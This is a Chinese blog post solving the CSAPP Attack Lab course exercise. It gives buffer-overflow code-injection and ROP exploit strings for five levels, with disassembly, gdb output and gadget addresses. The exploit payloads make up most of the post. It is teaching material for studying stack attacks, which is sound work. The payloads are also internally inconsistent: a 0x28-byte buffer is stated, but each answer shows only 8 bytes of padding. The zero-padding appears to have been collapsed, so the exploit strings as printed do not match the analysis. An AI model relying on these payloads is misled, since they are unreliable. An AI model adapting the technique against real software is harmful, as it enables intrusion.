CSAPP Attack Lab

Attack Lab 的内容通过缓冲区溢出漏洞进行代码注入或者 ROP 攻击。

Level 1

调用touch1即可。

观察getbuf函数:

1
2
3
4
5
6
4017a8:    48 83 ec 28          	sub    $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq

发现分配了0x28的缓冲区,缓冲区之后就是原本存放返回值的位置,我们只需要覆盖这个返回值即可。

看一下touch1的地址为4017c0,用小端法写入,因此答案为:

1
2
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

Level 2

调用touch2函数,并且需要将 cookie 作为一个数字参数传入函数。

进行代码注入,注入的代码的内容是:将touch2的地址0x4017ec入栈,之后ret的时候就跳转到此;再将 cookie 的值赋给%rdi即可,写成汇编:

1
2
3
pushq $0x4017ec
movl $0x59b997fa,%edi
ret

调用以下命令:

1
2
gcc -c code2.s
objdump -S code2.o >code2.d

得到如下结果:

1
2
3
0:    68 ec 17 40 00       	pushq  $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq

再去调试一下程序,断点设在0x4017bd,也就是getbuf函数的ret处,看一下%rsp的值:

1
2
(gdb) print /x $rsp
$1 = 0x5561dca0

给上述代码分配 16 字节的位置,因此这段代码的起始地址为0x5561dc90

最后汇总起来得到答案为:

1
2
3
4
00 00 00 00 00 00 00 00
68 ec 17 40 00 bf fa 97 /* 注入的代码 */
b9 59 c3 00 00 00 00 00
90 dc 61 55 00 00 00 00 /* 注入代码的地址 */

Level 3

调用touch3函数,并且需要将 cookie 的 ASCII 码作为一个字符串参数传入函数。即 cookie 的内容必须提前写在栈里,传入的时候将其地址作为参数。

因为在hexmatch的过程中会分配超过 110 字节的栈空间,如果 cookie 保存在小于%rsp的地址,就会被覆盖掉,因此有两种解决方案:

  • %rsp减掉一点,腾出至少 9 字节的空间放 cookie,但是这种方法容易产生段错误,不太清楚原因。
  • 直接放在大于%rsp的位置。

第二种方法比较直接,因此还是和上一部分差不多,先把touch3地址0x4018fa入栈,然后把%rsp+8的地址取出来放到%rdi中即可。

直接放反汇编的结果:

1
2
3
0:    68 fa 18 40 00       	pushq  $0x4018fa
5: 48 8d 7c 24 08 lea 0x8(%rsp),%rdi
a: c3 retq

cookie 的 ASCII 表示形式可以看man ascii对照表来计算,注意字符串末尾要有一个 0。

答案为:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
68 fa 18 40 00 48 8d 7c /* 注入的代码 */
24 08 c3 00 00 00 00 00
90 dc 61 55 00 00 00 00 /* 注入代码的地址 */
35 39 62 39 39 37 66 61 /* cookie 字符串 */
00

Level 4

利用 ROP 的方法调用touch2

根据提示,可以通过popq的 gadget 从栈中取出一个值到寄存器中,因此栈中的内容为指令地址和数据的混合。在 farm 中找到的popq只有58,也就是popq %rax,比如这个地方:

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq

地址为4019ab,之后把 cookie 的值写到这个地址后面,程序在getbuf中先跳转到4019ab,之后%rsp指向 cookie 的地址,执行popq之后%rsp指向下一个 gadget。

下一个 gadget 应当把%rax的值赋给%rdi,找到:

1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

地址为4019c5,指令为movq %rax,%rdi

最后再跳转到touch2的地址,因此答案如下:

1
2
3
4
5
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie 的值 */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 的地址 */

Level 5

利用 ROP 的方法调用touch3

首先是要把%rsp的值存到%rdi中,但是因为mov指令不像pop指令会更新%rsp的地址,如果在mov指令的地址后面跟着 cookie 字符串,下一次ret就会到一个奇怪的位置。

同样还有hexmatch会覆盖栈的问题,因此需要把 cookie 字符串存到最后面,之后通过给%rsp的指针加一个偏移量来给出 cookie 字符串的地址。这个把我卡了好久,最后找到了:

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq

这个就可以做加法了,那么现在就是怎么把%rsp的值转到%rdi,栈中pop出来的偏移量从%rax转到%rsi,找到了下面这些:

401a06movq %rsp,%rax

1
2
3
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq

4019c5movq %rax,%rdi

1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

4019abpopq %rax上个阶段用过。

4019ddmovl %eax,%edx

1
2
3
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq

401a34movl %edx,%ecx

1
2
3
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq

401a27movl %ecx,%esi

1
2
3
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq

做加法之后再将结果从%rax转到%rdi,还是用4019c5

然后写touch3的地址,最后跟上 cookie 字符串,然后根据这些指令算一下字符串的位置相对于第一个movq %rsp,%rax的偏移量,放到popq %rax指令之后即可。答案为:

1
2
3
4
5
6
7
8
9
10
11
12
13
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* cookie 字符串的偏移量 */
dd 19 40 00 00 00 00 00 /* movl %eax,%edx */
34 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
27 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie 字符串 */
00

总结

做完之后回看一下感觉难度也没有那么大,因为对过程的调用和返回机制的理解深刻很多,其中最后一个阶段难度跨度比较大,writeup 中还写了一大段强调“你已经拿了 95 分了,很高了,如果不是时间多闲得慌就不用往下做了”,挺有意思。

作者

xqmmcqs

发布于

2022-01-23

更新于

2022-06-09

许可协议

评论

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×